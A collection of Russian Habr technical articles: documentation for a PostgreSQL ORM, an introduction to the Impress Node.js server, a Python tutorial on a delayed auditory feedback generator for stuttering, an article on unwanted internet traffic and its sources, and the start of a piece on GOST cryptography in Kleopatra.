primaryKey: true,
defaultValue: null,
},
user_id: {
type: String,
defaultValue: null,
required: true,
},
street_name: {
type: String,
defaultValue: null,
},
postcode: {
type: String,
defaultValue: null,
},
created_at: {
type: Date,
created: true,
format: 'YYYY-MM-DD HH:mm:ss',
},
updated_at: {
type: Date,
updated: true,
format: 'YYYY-MM-DD HH:mm:ss',
},
},
relations: {},
}
}
```
Модель с дополнительной информацией о пользователе:
```
const { Model } = require('@5no/pg-model')
class UsersInfo extends Model {
static schema = {
table: {
schema: 'public',
name: 'users_info',
},
columns: {
id: {
type: String,
primaryKey: true,
defaultValue: null,
},
user_id: {
type: String,
defaultValue: null,
required: true,
},
first_name: {
type: String,
defaultValue: null,
},
last_name: {
type: String,
defaultValue: null,
},
created_at: {
type: Date,
created: true,
format: 'YYYY-MM-DD HH:mm:ss',
},
updated_at: {
type: Date,
updated: true,
format: 'YYYY-MM-DD HH:mm:ss',
},
},
relations: {},
}
}
```
Модель пользователя:
```
const { Model } = require('@5no/pg-model')
class Users extends Model {
static schema = {
table: {
schema: 'public',
name: 'users',
},
columns: {
id: {
type: String,
primaryKey: true,
defaultValue: null,
},
email: {
type: String,
required: true,
validators: [
'email',
],
},
personalised: {
type: Object,
prefilled: true,
defaultValue: {
test: 100,
},
},
countRoles: {
type: Function,
fn: (model) => Manager.build(UserRoles).count('user_id', model.id),
},
properties: {
type: Array,
defaultValue: [],
schema: {
name: {
type: String,
required: true,
filters: [
'lowerCase',
],
},
value: {
type: String,
required: true,
},
},
},
created_at: {
type: Date,
created: true,
format: 'YYYY-MM-DD HH:mm:ss',
},
updated_at: {
type: Date,
updated: true,
format: 'YYYY-MM-DD HH:mm:ss',
},
},
relations: {
Info: {
model: UsersInfo,
local: 'id',
foreign: 'user_id',
type: 'one',
cascade: [
'save',
'delete',
],
},
Addresses: {
model: UsersAddresses,
local: 'id',
foreign: 'user_id',
type: 'many',
cascade: [
'save',
'delete',
],
},
Roles: {
model: UserRoles,
join: {
model: Roles,
local: 'role_id',
foreign: 'id',
type: 'many',
},
local: 'id',
foreign: 'user_id',
type: 'join',
cascade: [
'save',
'delete',
],
},
},
}
}
```
#### Использования моделей
Создание ролей:
```
const role = new Roles()
role.role = 'Admin'
await role.save()
```
```
const role = new Roles()
role.role = 'Customer'
await role.save()
```
Создание пользователя:
```
const user = new Users()
user.email = 'test@test.test'
await user.Addresses.add({
street_name: 'Test',
postcode: '100500',
})
await user.Addresses.add({
street_name: 'Test 2',
postcode: '100502',
})
user.Info.first_name = 'Test First Name'
user.Info.last_name = 'Test Last Name'
user.properties = [
{
name: 'Test',
value: 'OK',
},
]
await user.Roles.join(CustomerRoleId)
await user.save()
```
Получение записи:
```
const { Manager } = require('@5no/pg-model')
const user = await Manager.build(Users).find(usersId)
await user.Roles.join(AdminRoleId)
await user.save()
```
Получение записи в виде JSON:
```
const { Manager } = require('@5no/pg-model')
const userJsonData = await Manager.build(Users, true).find(usersId)
console.log(userJsonData)
```
Результат:
```
{
id: '7852468e-ac99-4f5e-9ee3-d506b0c4424e',
email: 'test@test.test',
countRoles: 2,
created_at: '2018-12-20 17:10:31',
updated_at: '2018-12-20 17:10:31',
personalised: {
test: 100
},
properties: [
{
name: 'test',
value: 'OK',
},
],
Info:
{ id: '0320dc4f-4ca7-4b65-bd42-52f286a0b9db',
user_id: '7852468e-ac99-4f5e-9ee3-d506b0c4424e',
first_name: 'Test First Name',
last_name: 'Test Last Name',
created_at: '2018-12-20 17:10:31',
updated_at: '2018-12-20 17:10:31' },
Addresses:
[
{ id: 'be40ccb3-3a33-4b6e-9467-6907b0c4396b',
user_id: '7852468e-ac99-4f5e-9ee3-d506b0c4424e',
street_name: 'Test',
postcode: '100500',
created_at: '2018-12-20 17:10:31',
updated_at: '2018-12-20 17:10:31' },
{ id: 'f5bae3e9-290b-451e-a0e2-1ec2d9eaf543',
user_id: '7852468e-ac99-4f5e-9ee3-d506b0c4424e',
street_name: 'Test 2',
postcode: '100502',
created_at: '2018-12-20 17:10:31',
updated_at: '2018-12-20 17:10:31' }
],
Roles: [
{
created_at: '2018-12-20 17:10:31',
id: 'be40ccb3-3a33-4b6e-9467-6907b0c4396b',
role: 'Admin',
updated_at: '2018-12-20 17:10:31'
},
{
created_at: '2018-12-20 17:10:31',
id: 'be40ccb3-3a33-4b6e-9467-7907b1c4396b',
role: 'Customer',
updated_at: '2018-12-20 17:10:31'
}
]
}
```
В заключение хотел бы сказать что разрабатывал для себя и своих нужд и сделал систему максимально гибкой.
[Вся дополнительная информация есть на сайте](https://5no.io/pg-model/examples) | https://habr.com/ru/post/495242/ | null | ru | null |
# Impress: многоцелевой сервер приложений для Node.js
Несмотря на заметные успехи, [Node.js](http://nodejs.org/) все еще остается специализированной технологией, которой преимущественно закрывают узкие места в системах, написанных в другом стеке технологий. Причина такого положения кроется в том, что сама по себе нода не имеет многих библиотек, к которым мы привыкли на других языках и которые обеспечивают быструю разработку именно прикладного ПО. Например, для того, чтобы разделить в коде обработчики разных URL, отдавать статические файлы, организовывать сессии, запускать нескольких потоков, иметь доступа к БД, кешировать данные в памяти, разграничивать права пользователей, иметь логи и ротировать их, создавать сетевое API, рендерить шаблоны, настраивать URL-реврайтинг, обеспечивать быструю доставку событий с сервера на клиенты, для всего этого, и многих других задач, используются отдельные библиотеки (модули). Разные модули написаны разными разработчиками, сложно стыкуются, конфликтуют. В общем, мы решили, весь этот набор обязательного функционала, необходимого практически в каждом веб-приложении, объединить в один сервер приложений и повысить, таким образом, связанность кода, сделать ядро сервера приложений монолитным и более согласованным, чем решения, собранные из отдельных библиотек. Проект [Impress](https://github.com/tshemsedinov/impress) уже [анонсировался как прототип](http://habrahabr.ru/post/182714/), а сейчас предоставляет весь необходимый арсенал для быстрой разработки приложений, что протестировано на десятке живых проектов. Impress значительно отличается от другой широко распространенной платформы так же, как импрессионизм отличается от экспрессионизма, то есть, производит целостное, хорошо продуманное эстетическое впечатление, в противоположность внезапному выбросу эмоций. Но мы, не вовлекаясь в критику чужого кода, перейдем к демонстрации конструктивных особенностей Impress.
#### Немного метрик кода
* **Размер ядра Impress** (с максимальной связанностью кода) /lib/impress.js — **44Кб**
* **Размер всего кода Impress** (с высокой связанностью, но не обязательным подключением) /lib/\* — **110Кб**
* **Размер внешних библиотек** (с необязательной загрузкой), все что в /node\_modules — **56Мб**
* Из них модуль geoip-lite со своей базой данных — **40Мб**
* Способ загрузки библиотек ядра: экзотический (описан тут — [Паттерны JavaScript модулей в Impress для node.js и браузеров](http://habrahabr.ru/post/183188/)).
* **Возраст проекта**: 3½ месяца (до этого еще месяц в качестве прототипа, до публикации в npm и github).
* **Интенсивность развития**: за это время вышло 47 версий, т.е. что-то доделывается каждые 2-3 дня.
* **Зависимости** (на текущий момент): [async](https://npmjs.org/package/async), [cluster](https://npmjs.org/package/cluster), [colors](https://npmjs.org/package/colors), [mkdirp](https://npmjs.org/package/mkdirp), [mongodb](https://npmjs.org/package/mongodb), [mysql](https://npmjs.org/package/mysql), [memcached](https://npmjs.org/package/memcached), [nodemailer](https://npmjs.org/package/nodemailer), [geoip-lite](https://npmjs.org/package/geoip-lite), [uglify-js](https://npmjs.org/package/uglify-js), [multiparty](https://npmjs.org/package/multiparty), [iconv-lite](https://npmjs.org/package/iconv-lite).
#### Возможности и сферы применения
* Создание **многостраничных веб-приложений**, то есть, с серверным шаблонизатором (встроен в ядро) и с перегрузкой страниц.
* Создание **одностраничных веб-приложения** с обменом данными между браузером и серверным API при помощи AJAX, с передачей фрагментов HTML или JSON, для динамической перестройки клиентского экрана из оных.
* Создание **гибридных** решений, где смешаны одностраничный и многостраничный подходы.
* Разработка **сетевого API** для межсерверного и клиент-серверного взаимодействия, в том числе, с браузерами, мобильными приложениями для iOS, Android и т.д.
* Оффлайн приложения **HTML5 с cache.manifest**, локальным хранилищем в IndexedDB или WebSQL и возможностью работать как в онлайне, так и в оффлайне, в автономном режиме. Это не задача Impress, конечно, но есть опыт применения даже в таком нетипичном случае.
* Обслуживание **множества доменов** одним сервером приложений (в том числе по маске), т.е. механизм настройки виртуалхостов составляющих одно приложение или запуск на них разных приложений (как на одном, так и на разных портах).
* **Проброс вызовов** на другие серверы и порты (reverse-proxy) с поддержкой url-rewriting, настройка маршрутизации URL в config.js в формате JSON и при помощи шаблонов и регулярных выражений. Проброс можно совмещать с обработкой части вызовов в сервере приложений. При помощи проброса можно собрать одно приложение из нескольких языков, серверов и технологических стеков.
* **Отдача статики** с кешированием в оперативной памяти, **минификацией** статических браузерных js-файлов, со сжатием **gzip** для сжимаемых форматов и правильной отдачей HTTP 304 (Not Modified) при получении заголовка «if-modified-since».
* Есть встроенная **система аутентификации** и провайдер для хранения пользователей в MongoDB.
* Есть встроенная **система сессий** с хранением их в оперативной памяти, сохранением в MongoDB, восстановлением сессий при оперезагрузке. Есть возможность делать не аутентифицированные сессии, т.е. идентифицировать и хранить состояние пользователя без регистрации.
* Возможность работать **в несколько процессов** с поддержкой нескольких стратегий распределения задач по процессам и с реализацией взаимодействия между ними через IPC (в дальнейшем предполагается использование [ZeroMQ](http://zeromq.org/) для этих целей и прозрачное масштабирование на несколько серверов). Обмен сообщениями применяется если нужно наладить взаимодействие между клиентами, подключенными к разным процессам сервера.
* Реализация двух способов приклеивания сессий к процессам: **«IP sticky»** (приклеивание по IP) или **«cookie sticky»** (приклеивание по кукизу, применяется в паре с внешним балансировщиком и мультиплексированием по портам). Это позволяет все соединения с одного IP или c одним и тем же кукизом при повторных запросах (после аутентификации) опять направлять в тот же процесс, который хранит их сессию (состояние).
* **Логирование запросов** с заведением нового файла каждые сутки и удалением старых файлов (устанавливается лимит хранимой истории).
* Сейчас заканчивается работа над **CMS**, которая уже встроена в ядро Impress и скоро получит админ-интерфейс для редактирования страниц.
Ну и те возможности, о которых не буду подробно, т.к. [уже писал о них](http://habrahabr.ru/post/182714/) и их лучше смотреть на примерах:
* Маршрутизация URL на базе файловой системы (мапинг URL в каталоги).
* Кеширование серверного JavaScript и шаблонов в оперативной памяти.
* Возможность изменения кода приложений без перезагрузки основного приложения (процесс следит за изменением файлов на диске.
* Несколько стратегий запуска: multiple, single, specializatio, sticky.
* Возможность изменять конфиг без полной перезагрузки основного приложения (процесс следит за изменением файла config.js).
* Поддержка SSE (Server-Sent Events) с системой трансляции событий с сервера (в стиле PUSH) через открытое соединение на клиентскую часть без постоянных запросов с клиента (в стиле PULL).
**Надстройка над драйвером доступа к MySQL:*** Методы удобного доступа к данным: queryRow, queryValue, queryArray, queryHash, queryKeyValue, count. Примеры использования: <https://github.com/tshemsedinov/impress/wiki/MySQL-Data-Access-Methods>
* Методы интроспекции служебных структур БД (получение метаданных из БД): primary, foreign, constraints, fields, databases, tables, tableInfo, indexes, processes, globalVariables, globalStatus, users. Примеры использования: <https://github.com/tshemsedinov/impress/wiki/MySQL-Introspection-Methods>
* Методы автогенерации SQL запросов: where, select, update, insert, upsert, delete. Примеры использования: <https://github.com/tshemsedinov/impress/wiki/MySQL-Query-Generator-Methods>
Так же разработан метаязык на базе синтаксиса JSON, который позволяет удобно и кратко описывать структуры реляционных БД и транслировать потом эти структуры в SQL скрипты. См. примеры в каталоге /node\_modules/impress/schemas/ Для трансляции можно использовать такой код:
```
var schemaCore = require('./schemas/impress.core.schema.js');
var scriptCore = db.schema.mysql.generateScript(schemaCore, true).script;
console.log(scriptCore);
```
Далее, схемы можно использовать для скафолдинга форм, гридов и вообще пользовательских интерфейсов, но это тема для отдельной публикации.
#### Примеры
Лучше всего понимать на примерах, которых в Impress достаточно. Сразу после установки из NPM-репозитория ([npm install impress](https://npmjs.org/package/impress)) мы можем развернуть примеры, скопировав их из папки /node\_modules/impress/examples/copyContentToProjectFolder в корень проекта. Для запуска желателен MongoDB для хранения сессий (в ближайшее время будут реализованы и другие провайдеры хранения сессий). Но можно запустить примеры и без БД. Если же MongoDB все же есть, то нужно в config.js установить «session.persist» в true, раскомментировать «databases.impress», в том же конфиге, и в секции «plugins.require» раскомментировать модули: «db», «db.mongodb», «impress.security.mongodb». После этого создать необходимые коллекции и индексы запустив: **node setup.js** и потом запустить сервер приложений: **node server.js**
#### API (RPC): STATEful и STATEless
Одна из основных задач, для чего разрабатывался Impress — это создание серверов приложений как на принципе STATEless (т.е. REST серверов), так и на более интересном принципе STATEful. Нужно напомнить, что REST, это когда между парой запрос/ответ ни на сервере, ни на клиенте, не сохраняется состояние объекта. В противоположность RPC, на котором основаны клиент-серверные приложения, в которых принято создавать модель в клиенте и создавать модель в сервере, связывая их интерфейсы по сети и транслируя между этими моделями события и вызовы. Вот нода позволяет развернуть модель на двух концах провода и синхронизировать через AJAX/JSON вызовы, что конечно более удобно для прикладных приложений. REST пришел в ноду из каменного века тяжеловесных веб серверов (как Apache и IIS), которые каждый раз запускали внешние (по отношению к ним) приложения, передавая им запросы HTTP протокола через CGI. Такое приложение порождает новый процесс, он должен провести инициализацию рабочей среды, т.е. установить соединения с базой, развернуть все свои данные, прочитать себе из файловой системы что-то (если нужно) и т.д. и все это лишь для того, чтобы через несколько мил миллисекунд завершить работу и освободить память, отключиться от базы. До веба я писал на языках, в которых принято STATEful API как RPC (COM, DCOM, Corba...), и для меня концепции REST всегда не хватало. И вот, наконец, после перехода в вероисповедание ноды, мне было счастье. Теперь опять можно разворачивать в памяти данные и они никуда не деваются от запроса к запросу, можно хранить увесистые сессии в оперативной памяти и не делать сериализацию/десериализацию оных при завершении и повторном запуске процессов. И мне было видение, что REST ушел в прошлое вместе с костылями типа viewstate и серверами состояний. Понял я, что STATEful API есть величайшее благо, дарованное Всевышним каждому живому существу, познавшему ноду.
Чтобы сделать новый обработчик API-урла, нужно всего-то:
1. Создаем папку /api/myAPI/getSomething.json/
2. Кладем туда файл post.js и в нем пишем:
```
module.exports = function(req, res, callback) {
db.impress.collectionName.find({ fieldName: req.post.fieldValue }).toArray(function(err, nodes) {
res.context.data = nodes;
callback();
});
}
```
3. В каталоге /api/myAPI делаем файл access.js и в нем пишем:
```
module.exports = {
guests: false, logged: true, http: true, https: true
}
```
Все готово, для https просто в config.js настройки ставим и в access.js запрещаем http для этой папки. Более того, создавать обработчики можно безе перезапуска сервера, просто создаем еще папку и пишем там код в файле. При первом обращении код попадает в память, при изменении файла на винте код подгружается новый в память и там сидит и ждет вызова.
#### Экраны из демонстрационного приложения
После установки и разворачивания примеров, можно увидеть такие экраны. На первом — форма регистрации пользователей, она работает при подключенной MongoDB, как и вся функциональность, связанная с аккаунтами и хранимыми сессиями (Create account, Sign In, Sign out).
В левом столбце кнопки, которые запускают примеры, их лучше смотреть со включенным Firebug или другим браузерным инструментом разработчика.
Самый большой пример, это универсальная админпанель для [MySQL и MongoDB](http://habrahabr.ru/post/192302/), о которой я уже писал. Вот ее скриншот:
На Github: <https://github.com/tshemsedinov/impress>
В npm: <https://npmjs.org/package/impress> | https://habr.com/ru/post/194250/ | null | ru | null |
# На волнах эффекта Ли: Питонизируем генерацию DAF
По статистике 1-4 % населения Земли подвержены дефекту речи, характеризующимся частой пролонгацией звуков (слогов, слов) и/или частыми остановками в речи, нарушающими ритмическое ее течение. В простонародье этот феномен известен как заикание.
На данный момент мир не знает панацеи, на 100 % избавляющей от заикания, однако существует преинтереснейший метод, позволяющий с тем или иным успехом купировать это речевое нарушение у большинства заикающихся. Метод основан на эффекте Ли, заключающемся во влиянии задержки акустической слуховой афферентации на плавность речи, и носит название DAF (Delayed Auditory Feedback).
Ниже рассмотрим пример построения на коленке простого генератора речевой обратной связи силами Python и PyQt. У-у-ух, it's gonna be fun!
### Что к чему и почему
Эффект Ли, названный в честь инженера-подводника Бернарда Ли (*Lee*, 1951 г.), проявляется в том, что у обычного человека прослушивание через наушники собственной речи, задержанной с помощью специальной аппаратуры на 80-200 мс, (непосредственно в момент разговора) вызывает запинки, очень напоминающие заикание. В то же время на человека, подверженного заиканию, эффект Ли оказывает прямо противоположное воздействие. На этом строится метод DAF. Смысл задержки воспроизведения речи в наушниках заключается в синхронизации работы речевых центров — слухового центра Вернике и речедвигательного центра Брока (*криптометафора: задержка = функция генерации гаммы для самосинхронизирующегося шифра потока*). Проведение различных исследований позволило выявить, что задержка в диапазоне 50-75 мс позволяет уменьшить заикание на 60-80% при нормальной и ускоренной речи. Задержка в 190 мс оказалась чуть более эффективной, чем 75 мс, однако оптимальная величина задержки выбирается индивидуально исходя из ощущений испытуемого.
Идея аппаратного подхода к нормализации речи стара как мир — первый прибор, работающий по принципу «регуляции обратной связи», был сконструирован в 1959 г. Будучи большим, проводным и неуклюжим, он представлялся малоэффективным для использования в повседневной жизни, однако технологии не стоят на месте, и сейчас существует целый ряд способов удобной генерации DAF: как с помощью отдельных мини-девайсов, так и в виде софтин для Ведроида, Аппле (поиск по ключевому слову «DAF» в своем магазине приложений покажет всю выборку таких решений) и ПК (тут сложнее, смотрим следующий абзац).
### Зачем сей пост
Стоимость приложений для мобильных платформ варьируется в пределах нескольких долларов. Допустимо. Однако для Windows существует всего одна подобная программа стоимостью $30 за базовую версию для «personal needs only» (название приводить не буду — лежит по тому же ключевому слову на первой ссылке поисковика). Здесь мне стало интересно, во сколько строк кода встанет самопальная реализация столь тривиального функционала. Результатом этого интереса стало одинокое окно GUI-интерфейса, скрывающее под капотом простой DAF-генератор, которым хочу поделиться с окружающими — авось кому пригодится.
### Trial. CLI-интерфейс
Для начала набросаем концепт в виде пробного скрипта. Будем использовать связку "*Python3* + *PyAudio*", где *PyAudio* — модуль для работы со звуком. Ядро будет выглядеть так:
```
CHANNELS = 2
RATE = 44100
def genDAF(delay):
bufferSize = floor(delay / 1000 * RATE)
device = PyAudio()
try:
streamIn = device.open(
format=paFloat32,
channels=CHANNELS,
rate=RATE,
input=True,
frames_per_buffer=bufferSize
)
streamOut = device.open(
format=paFloat32,
channels=CHANNELS,
rate=RATE,
output=True,
frames_per_buffer=bufferSize
)
except OSError:
print('genDAF: error: No input/output device found! Connect and rerun')
return
print('CTRL-C to stop capture')
while streamIn.is_active():
start = clock()
audioData = streamIn.read(bufferSize)
streamOut.write(audioData)
actualDelay = floor((clock() - start) * 1000)
print('Actual Delay: {} ms'.format(actualDelay))
```
Процедура *genDAF* принимает величину задержки в миллисекундах, вычисляет необходимый размер буфера (исходя из оптимального битрейта в 44,1 кГц) для записи голоса, после чего, если имеются подключения на ввод и вывод аудио (aka микрофон и динамики), создает два потока, входной и выходной соответственно. Далее в основном цикле начинается чтение и мгновенное воспроизведение записанного куска аудио данных, при этом на фоне подсчитывается реальная задержка, потребовавшаяся для выполнения пары операций read/write. На все ушло ~ 20 строк кода.
Полный исходник CLI-реализации под спойлером:
**dafgen\_cli.py**
```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Usage: python3 dafgen_cli.py
from pyaudio import PyAudio, paFloat32
from math import floor
from time import clock
import sys
CHANNELS = 2
RATE = 44100
def genDAF(delay):
bufferSize = floor(delay / 1000 \* RATE)
device = PyAudio()
try:
streamIn = device.open(
format=paFloat32,
channels=CHANNELS,
rate=RATE,
input=True,
frames\_per\_buffer=bufferSize
)
streamOut = device.open(
format=paFloat32,
channels=CHANNELS,
rate=RATE,
output=True,
frames\_per\_buffer=bufferSize
)
except OSError:
print('genDAF: error: No input/output device found! Connect and rerun')
return
print('CTRL-C to stop capture')
while streamIn.is\_active():
start = clock()
audioData = streamIn.read(bufferSize)
streamOut.write(audioData)
actualDelay = floor((clock() - start) \* 1000)
print('Actual Delay: {} ms'.format(actualDelay))
def main():
if len(sys.argv) != 2:
print('Usage: python3 {} '.format(sys.argv[0]))
sys.exit(1)
try:
delay = int(sys.argv[1])
except ValueError:
print('main: error: Invalid input type')
sys.exit(1)
if not 50 <= delay <= 200:
print('main: error: Delay must be in [50; 200] ms')
sys.exit(1)
print('Delay: {} ms\n'.format(delay))
try:
genDAF(delay)
except KeyboardInterrupt:
print('Stopped')
if \_\_name\_\_ == '\_\_main\_\_':
main()
```
### Final. GUI-интерфейс
Зелёные буквы на чёрном фоне терминала — романтично, но не всегда удобно, мы можем лучше. Приплюсуем к нашей связки инструментов фреймворк для графики, получится "*Python3* + *PyAudio* + *PyQt5*".
Набросаем в дизайнере пару-тройку кнопок, слайдер и 2 текстовых поля:
Добавим логики, распределив основной код генерации DAF по двум классам: управляющее приложение (MainApp) и класс для отдельного потока (Worker), ответственный за выполнение цикла *while* метода \_genDAF, дабы не висло основное окно. Полный код приведен в конце параграфа, а сейчас только главная часть.
Управляющее приложение:
```
class MainApp(QMainWindow, Ui_DAFGen):
_CHANNELS = 2
_RATE = 44100
def __init__(self):
super().__init__()
self.setupUi(self)
# ...
# ...
def _startCapture(self):
bufferSize = floor(self.delaySlider.value() / 1000 * self._RATE)
device = PyAudio()
try:
streamIn = device.open(
format=paFloat32,
channels=self._CHANNELS,
rate=self._RATE,
input=True,
frames_per_buffer=bufferSize
)
streamOut = device.open(
format=paFloat32,
channels=self._CHANNELS,
rate=self._RATE,
output=True,
frames_per_buffer=bufferSize
)
except OSError:
QMessageBox.critical(self, 'Error', 'No input/output device found! Connect and rerun.')
return
self._workerThread = Worker(bufferSize, streamIn, streamOut)
self._workerThread._trigger.connect(self._updateActualDelay)
# ...
self._workerThread.start()
```
Второй поток:
```
class Worker(QThread):
_trigger = pyqtSignal(float)
def __init__(self, bufferSize, streamIn, streamOut):
QThread.__init__(self)
self._bufferSize = bufferSize
self._streamIn = streamIn
self._streamOut = streamOut
def __del__(self):
self.wait()
def _genDAF(self):
while self._streamIn.is_active():
start = clock()
audioData = self._streamIn.read(self._bufferSize)
self._streamOut.write(audioData)
actualDelay = clock() - start
self._trigger.emit(actualDelay)
def run(self):
self._genDAF()
```
Исходник для логики GUI-реализации под спойлером:
**dafgen.py**
```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Usage: python3 dafgen.py
from PyQt5.QtWidgets import *
from PyQt5.QtCore import *
from ui_dafgen import Ui_DAFGen
from pyaudio import PyAudio, paFloat32
from math import floor
from time import clock
import sys
class Worker(QThread):
_trigger = pyqtSignal(float)
def __init__(self, bufferSize, streamIn, streamOut):
QThread.__init__(self)
self._bufferSize = bufferSize
self._streamIn = streamIn
self._streamOut = streamOut
def __del__(self):
self.wait()
def _genDAF(self):
while self._streamIn.is_active():
start = clock()
audioData = self._streamIn.read(self._bufferSize)
self._streamOut.write(audioData)
actualDelay = clock() - start
self._trigger.emit(actualDelay)
def run(self):
self._genDAF()
class MainApp(QMainWindow, Ui_DAFGen):
_CHANNELS = 2
_RATE = 44100
def __init__(self):
super().__init__()
self.setupUi(self)
self.stopButton.setEnabled(False)
self._updateDelay()
self.delaySlider.valueChanged.connect(self._updateDelay)
self.startButton.clicked.connect(self._startCapture)
self.stopButton.clicked.connect(self._stopCapture)
self.quitButton.clicked.connect(QApplication.quit)
def _updateDelay(self):
self.delayEdit.setPlainText(str(self.delaySlider.value()) + ' ms')
def _startCapture(self):
bufferSize = floor(self.delaySlider.value() / 1000 * self._RATE)
device = PyAudio()
try:
streamIn = device.open(
format=paFloat32,
channels=self._CHANNELS,
rate=self._RATE,
input=True,
frames_per_buffer=bufferSize
)
streamOut = device.open(
format=paFloat32,
channels=self._CHANNELS,
rate=self._RATE,
output=True,
frames_per_buffer=bufferSize
)
except OSError:
QMessageBox.critical(self, 'Error', 'No input/output device found! Connect and rerun.')
return
self._workerThread = Worker(bufferSize, streamIn, streamOut)
self._workerThread._trigger.connect(self._updateActualDelay)
self.startButton.setEnabled(False)
self.delaySlider.setEnabled(False)
self.stopButton.setEnabled(True)
self._workerThread.start()
def _stopCapture(self):
self._workerThread.terminate()
self.actualDelayEdit.clear()
self.startButton.setEnabled(True)
self.delaySlider.setEnabled(True)
self.stopButton.setEnabled(False)
def _updateActualDelay(self, t):
newValue = floor(t * 1000)
self.actualDelayEdit.setPlainText(str(newValue) + ' ms')
def main():
app = QApplication(sys.argv)
win = MainApp()
win.show()
sys.exit(app.exec_())
if __name__ == '__main__':
main()
```
### Заключение и код
Собственно всё, что хотел рассказать. Feel free to use.
Также оставлю [ссылку](https://github.com/snovvcrash/daf-generator) на проект целиком: в дополнение там лежат код графического интерфейса и шаблон для PyQt Designer.
Спасибо за внимание!
### Литература
Миссуловин Л. Я., Юрова М. С. Преодоление заикания у подростков и взрослых с использованием аппаратов типа «АИР» // Научно-методический электронный журнал «Концепт». – 2015. – № S23. – С. 46–50. – URL: [e-koncept.ru/2015/75287.htm](http://e-koncept.ru/2015/75287.htm). | https://habr.com/ru/post/347580/ | null | ru | null |
# Осторожно — несанкционированный трафик!
Ни для кого не секрет, что при подключении любого сетевого устройства к Интернет генерируется трафик, который мы «не заказывали». Основные источники:
* Паразитный трафик;
* Нежелательный трафик от программного обеспечения;
* Вирусная активность;
* Несанкционированное использование подключения.
И… Google?
*В статье нет пошаговых инструкций по обеспечению сетевой безопасности. Надеюсь, пользователей материал заставит задуматься, а опытные сетевые администраторы дополнят информацию конкретикой.*
*Статья не содержит ссылок и ГМО.*
#### Паразитный трафик
Неконтролируемая сетевая активность. Даже, если ваше подключение 100% закрыто — при наличии реального фиксированного IP-адреса, а не «серого» и/или динамического IP-адреса, предоставляемого провайдером для внутренней сети — из Интернет передаются широковещательные, ICMP-, keepalive-пакеты и разнообразный служебный трафик. В этом случае, любой может обратиться к вашему IP-адресу, использовав простейшую команду `ping Х.Х.Х.Х`, средства поиска уязвимостей, или попытаться нарушить работу подключения, сгенерировав syn flood командой `hping3` (для Linux-систем). При этом генерируется и учитывается входящий трафик.
Более того, даже если ваше сетевое оборудование выключено, трафик может быть сгенерирован и учтётся Интернет-провайдером — пока из ARP-кеша провайдера (в котором хранится соответствие IP и MAC-адресов) не удалится запись о вашем подключении. Время обновления зависит от настроек у провайдера, обычно несколько минут (в маршрутизаторах Cisco — по умолчанию 4 часа).
Если к.л. злоумышленник не ставит себе целью атаковать ваш IP-адрес — такой трафик представляет несколько KB в сутки, но избежать его не представляется возможным. Разумеется, интернет-провайдеры обычно предпринимают необходимые меры по защите.
#### Трафик от программного обеспечения
Современное программное обеспечение, установленное на Вашем компьютере, часто не спрашивая вашего разрешения явным образом, обращается к внешним сервисам для передачи служебной информации, запроса обновлений и их загрузки. Т.е. данный трафик не является необходимой частью работы программы. Так, например, в Интернет для проверки обновлений и регистрационной информации обращается ПО Adobe, Microsoft и т.п. А ОС Microsoft ещё и по умолчанию загружает и обновления, размер которых может превышать сотни MB.
Выходом из данной ситуации может служить отключение обновлений и обращения к внешним ресурсам в настройках программного обеспечения (не всегда это возможно) и установка программного файрволла (сетевого экрана), который при всех запросах на обращение к внешним ресурсам будет запрашивать ваше решение. «Режим обучения» присутствует в большинстве современных файрволлов.
#### Вирусная активность
Возникает за счёт заражения вашего компьютера вирусами. Это худший вариант из перечисленного, т.к. кроме создания паразитного трафика, злоумышленник может получить доступ к вашему компьютеру — со всеми вытекающими из этого последствиями.
Решение — установка антивирусов и регулярное обновление операционной системы и ПО. Причём, это относится не только к Windows-системам. Уязвимости обнаруживаются с завидной регулярностью во всех ОС, и проверку на руткиты никто не отменял. Существует специализированное ПО, которое отслеживает выявление уязвимостей и информирует о наличии обновлений для распространённого ПО. К примеру, для Windows-систем существует Secunia Personal Software Inspector. Для Linux-систем, если ПО устанавливалось из официальных репозиториев, те же задачи выполняют Менеджеры пакетов.
#### Несанкционированное использование подключения
При низком уровне безопасности, это характерно для локальных сетей предприятия. А с распространением WiFi-устройств — и для обычных пользователей. Очень часто, пользователи не заботятся о безопасности беспроводных соединений и открытых (или, недостаточно защищённых) точек доступа можно обнаружить значительное количество — только с моего балкона «видно» две. Должен предостеречь, что при подключении к открытой точке доступа — её владелец может сканировать трафик на наличие в открытом виде логинов и паролей доступа.
Если с локальными сетями предприятий всё понятно — надо нанимать квалифицированных системных администраторов, то владельцам домашних точек доступа настоятельно рекомендуется ознакомиться с документацией для обеспечения максимальной безопасности. На эту тему есть много информативных статей.
#### И Google?
Откровенным сюрпризом для меня стали следующие логи (из логов исключены обращения по адресам Google менее 5МБ):
`Время IP адрес Принято байт Передано байт
...
00:10 74.125.160.81 6,059,987 140,082
00:40 74.125.163.83 5,947,266 137,562
01:20 74.125.173.17 5,945,612 136,087
02:10 74.125.173.23 5,948,572 141,739
02:50 74.125.173.21 5,954,547 136,007
03:20 74.125.173.29 5,956,884 135,779
03:50 74.125.173.30 5,958,999 135,807
04:20 74.125.173.23 5,984,194 140,108
04:50 74.125.173.19 5,980,806 140,027
...`
Т.е. каждые полчаса, в течение нескольких суток, с адресов Google при заблокированном компьютере проходит около 6МБ. Достаточно запустить Google Chrome. *К сожалению, цели данного трафика мне выяснить пока не удалось.*
Конечно, есть кардинальное решение — безлимитные тарифы. Но будь внимателен, %username%, следи за трафиком и проверь логи. Мало ли что…
Разумеется, за весь несанкционированный трафик на ваш IP-адрес — придётся платить. Могу заметить, что по требованию большинство провайдеров без проблем предоставляют подробную детализацию трафика. Есть случаи, когда интернет-провайдеры идут на встречу клиентам и корректируют трафик. Особенно, это касается юридических лиц.
Заранее спасибо за комментарии и вопросы.
**UPD**
Такая ситуация наблюдается, даже если открыта одна пустая вкладка. Google Chrome 6.0.472.63 (браузер радостно информирует, что это — последняя версия). | https://habr.com/ru/post/106061/ | null | ru | null |
# Сказание о Клеопатре и о российской криптографии (Продолжение)
С появлением библиотеки GCrypt-1.7.0 с поддержкой российской криптографии (ГОСТ 28147-89, ГОСТ Р 34.11-94/2012 и ГОСТ Р 34.10-2001/2012), стало возможным говорить о поддержке российского PKI в таких проектах как [Kleopatra](https://userbase.kde.org/Kleopatra) и [KMail](https://userbase.kde.org/KMail).
